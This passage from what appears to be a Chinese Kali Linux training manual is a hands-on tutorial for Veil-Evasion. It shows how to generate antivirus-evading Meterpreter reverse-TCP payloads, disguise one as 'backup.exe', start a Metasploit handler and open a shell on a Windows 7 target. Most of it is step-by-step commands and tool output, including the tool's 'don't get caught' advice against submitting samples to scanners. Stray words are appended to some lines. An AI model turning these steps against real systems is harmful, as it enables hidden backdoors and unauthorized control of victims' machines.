Kail Linux滲透測試教程之免殺Payload生成工具Veil,Veil是一款利用Metasploit框架生成相兼容的Payload工具,而且在大多數網絡環境中能繞過常見的殺毒軟件。本節將介紹Veil工具的安裝及使用。python
在Kali Linux中,默認沒有安裝Veil工具。這裏首先安裝Veil工具,執行以下所示的命令:shell
root@kali :~# apt-get update && apt-get install veilwindows
執行以上命令後,若是安裝過程沒有提示錯誤的話,則表示Veil工具安裝成功。因爲安裝該工具依賴的軟件較多,因此此過程時間有點長。網絡
啓動Veil工具。執行命令以下所示:session
root@kali :~# veil-evasion框架
執行以上命令後,將會輸出大量的信息。以下所示:tcp
=========================================================================工具
Veil First Run Detected... Initializing Script Setup...測試
=========================================================================ui
[*] Executing ./setup/setup.sh
=========================================================================
Veil-Evasion Setup Script | [Updated]: 01.15.2015
=========================================================================
[Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
=========================================================================
[*] Initializing Apt Dependencies Installation
[*] Adding i386 Architecture To x86_64 System
[*] Updating Apt Package Lists
命中 http://mirrors.ustc.edu.cn kali Release.gpg
命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
命中 http://mirrors.ustc.edu.cn kali Release
命中 http://mirrors.ustc.edu.cn kali/updates Release
命中 http://mirrors.ustc.edu.cn kali/main Sources
命中 http://mirrors.ustc.edu.cn kali/non-free Sources
命中 http://mirrors.ustc.edu.cn kali/contrib Sources
命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
獲取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
命中 http://http.kali.org kali Release.gpg
命中 http://security.kali.org kali/updates Release.gpg
命中 http://http.kali.org kali Release
……
忽略 http://http.kali.org kali/non-free Translation-en
下載 17.8 MB,耗時 20秒 (859 kB/s)
正在讀取軟件包列表... 完成
[*] Installing Wine i386 Binaries
正在讀取軟件包列表... 完成
正在分析軟件包的依賴關係樹
正在讀取狀態信息... 完成
將會安裝下列額外的軟件包:
gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
[*] Cleaning Up Setup Files
[*] Updating Veil-Framework Configuration
Veil-Framework configuration:
[*] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[*] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[*] METASPLOIT_PATH = /usr/share/metasploit-framework/
[*] PYINSTALLER_PATH = /usr/share/pyinstaller/
[*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path '/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path '/root/veil-output/compiled/' Created
[*] Path '/root/veil-output/handlers/' Created
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /root/veil-output/handlers/
[*] HASH_LIST = /root/veil-output/hashes.txt
[*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
[*] Path '/root/veil-output/catapult/' Created
[*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[*] Path '/etc/veil/' Created
Configuration File Written To '/etc/veil/settings.py'
以上信息只有在第一次運行Veil時,才顯示。在此過程當中,初始化一些腳本、軟件包列表、更新配置及安裝須要的軟件包。在此過程當中以圖形界面的形式依次安裝了Python及它的兩個模塊pywin32-218和pycrypto-2.6。下面依次進行安裝。首先彈出的對話框,如圖4.1所示。
該界面是安裝Python的初始界面。這裏使用默認設置,單擊Next按鈕,將顯示如圖4.2所示的界面。
圖4.1 Python初始界面 圖4.2 選擇Python安裝位置
在該界面單擊Next按鈕,將顯示如圖4.3所示的界面。該界面提示C:\Python27已存在,確認是否要覆蓋已存在的文件。這裏單擊yes按鈕,將顯示如圖4.4所示的界面。
圖4.3 確認Python的安裝位置 圖4.4 自定義Python
在該界面自定義安裝Python的一些功能。這裏使用默認的設置,單擊Next按鈕,將顯示如圖4.5所示的界面。
圖4.5 安裝完成 圖4.6 安裝pywin32-218模塊界面
該界面提示Python已經安裝完成。此時單擊Finish按鈕,將顯示如圖4.6所示的界面。
該界面是要求安裝pywin32-218模塊。這裏單擊「下一步」按鈕,將顯示如圖4.7所示的界面。
圖4.7 設置嚮導 圖4.8 準備安裝
這裏使用默認設置,單擊「下一步」按鈕,將顯示如圖4.8所示的界面。
該界面用來確實是否要開始安裝。若是確認配置正確的話,單擊「下一步」按鈕,將顯示如圖4.9所示的界面。
圖4.9 安裝完成 圖4.10 安裝pycrypto-2.6模塊初始界面
從該界面能夠看到pywin32-218模塊已經安裝完成。此時單擊「結束」按鈕,將顯示如圖4.10所示的界面。
該界面提示須要安裝pycrypto-2.6模塊。這裏單擊「下一步」按鈕開始安裝,如圖4.11所示。
圖4.11 設置嚮導 圖4.12 準備安裝
這裏使用默認設置,單擊「下一步」按鈕,將顯示如圖4.12所示的界面。
該界面提示將要安裝pycrypto模塊。這裏單擊「下一步」按鈕,將顯示如圖4.13所示的界面。
圖4.13 安裝完成
從該界面能夠看到以上軟件包已安裝完成。此時單擊「結束」按鈕,將顯示以下所示的信息:
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
從以上信息中能夠看到在Veil下,有24個攻擊載荷可加載,並列出了可用的命令。如今就能夠進行各類操做了。例如查看可加載的攻擊模塊,執行命令以下所示:
[>] Please enter a command: list
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Available payloads:
1) c/meterpreter/rev_tcp
2) c/meterpreter/rev_tcp_service
3) c/shellcode_inject/virtual
4) c/shellcode_inject/void
5) cs/meterpreter/rev_tcp
6) cs/shellcode_inject/base64_substitution
7) cs/shellcode_inject/virtual
8) native/Hyperion
9) native/backdoor_factory
10) native/pe_scrambler
11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual
14) python/meterpreter/rev_http
15) python/meterpreter/rev_http_contained
16) python/meterpreter/rev_https
17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp
19) python/shellcode_inject/aes_encrypt
20) python/shellcode_inject/arc_encrypt
21) python/shellcode_inject/base64_substitution
22) python/shellcode_inject/des_encrypt
23) python/shellcode_inject/flat
24) python/shellcode_inject/letter_substitution
從輸出的信息中,能夠看到有24個可用的攻擊載荷。此時能夠利用任何一個攻擊載荷,進行滲透攻擊。
【實例4-9】演示使用Veil工具中的載荷(本例以cs/meterpreter/rev_tcp爲例),進行滲透攻擊(這裏以Windows 7做爲攻擊靶機)。具體操做步驟以下所示:
(1)啓動Veil工具。執行命令以下所示:
root@kali:~# veil-evasion
執行以上命令後,將顯示以下所示的信息:
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
在輸出的信息中看到[>] Please enter a command:提示符,就表示Veil登陸成功了。
(2)選擇cs/meterpreter/rev_tcp攻擊載荷。在攻擊載荷列表中,cs/meterpreter/rev_tcp載荷的編號是5。執行命令以下所示:
[>] Please enter a command: use 5
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: cs/meterpreter/rev_tcp loaded
Required Options:
Name Current Value Description
---- ------------- ---------------------------------------
LHOST IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil
[>] Please enter a command:
輸出信息顯示了rev_tcp攻擊載荷可配置的選項參數。這裏默認指定的本地端口(LPORT)是4444,LHOST選項尚未配置。
(3)配置LHOST選項參數,並查看攻擊載荷的詳細信息。執行命令以下所示:
[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload information:
Name: cs/meterpreter/rev_tcp
Language: cs
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Required Options:
Name Current Value Description
---- ----------------- ------------------------------------------
LHOST 192.168.6.100 IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
從輸出的信息中,能夠看到rev_tcp攻擊載荷的詳細信息,如攻擊載荷名、語言、級別及配置的選項參數等。
(4)此時,使用generate命令生成載荷文件。執行命令以下所示:
[>] Please enter a command: generate
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: backup #指定輸出文件名
在以上命令中指定一個文件名爲backup。而後按下回車鍵,將顯示以下所示的信息:
[*] Executable written to: /root/veil-output/compiled/backup.exe
Language: cs
Payload: cs/meterpreter/rev_tcp
Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
Payload File: /root/veil-output/source/backup.cs
Handler File: /root/veil-output/handlers/backup_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] press any key to return to the main menu:
從輸出的信息中能夠看到生成一個可執行文件backup.exe,而且該文件保存在/root/veil-output/compiled/中。此時將可執行文件backup.exe發送到目標主機上,就能夠利用該攻擊載荷了。
接下來須要使用Metasploit建立一個遠程處理器,等待目標主機鏈接到Kali Linux(攻擊主機)操做系統。鏈接成功後,就獲取到一個遠程Shell命令。
【實例4-10】建立遠程處理器。具體操做步驟以下所示:
(1)啓動MSF終端。
(2)使用handler模塊。執行命令以下所示:
msf > use exploit/multi/handler
(3)加載reverse_tcp攻擊載荷,並設置其選項參數。執行命令以下所示:
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.6.103
LHOST => 192.168.6.103
(4)啓動滲透攻擊。執行命令以下所示:
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler...
從輸出信息能夠看到攻擊載荷已啓動,正在等待鏈接目標主機。
此時將前面生成的可執行文件backup.exe發送到目標主機(Windows 7),並運行該可執行文件。而後返回到Kali Linux操做系統,將看到以下所示的信息:
[*] Sending stage (769536 bytes) to 192.168.6.110
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
meterpreter >
從以上信息中,能夠看到成功打開了一個Meterpreter會話。這表示已成功滲透攻擊目標主機,如今就能夠進行一些Shell命令。如進行目標主機的Shell環境,執行命令以下所示:
meterpreter > shell
Process 1544 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ�
C:\Users\bob\Desktop>
輸出的信息表示進入了目標系統Windows 7的命令行,而且當前目標系統登陸的用戶是bob。
本文選自:Kail Linux滲透測試實訓手冊大學霸內部資料,轉載請註明出處,尊重技術尊重IT人!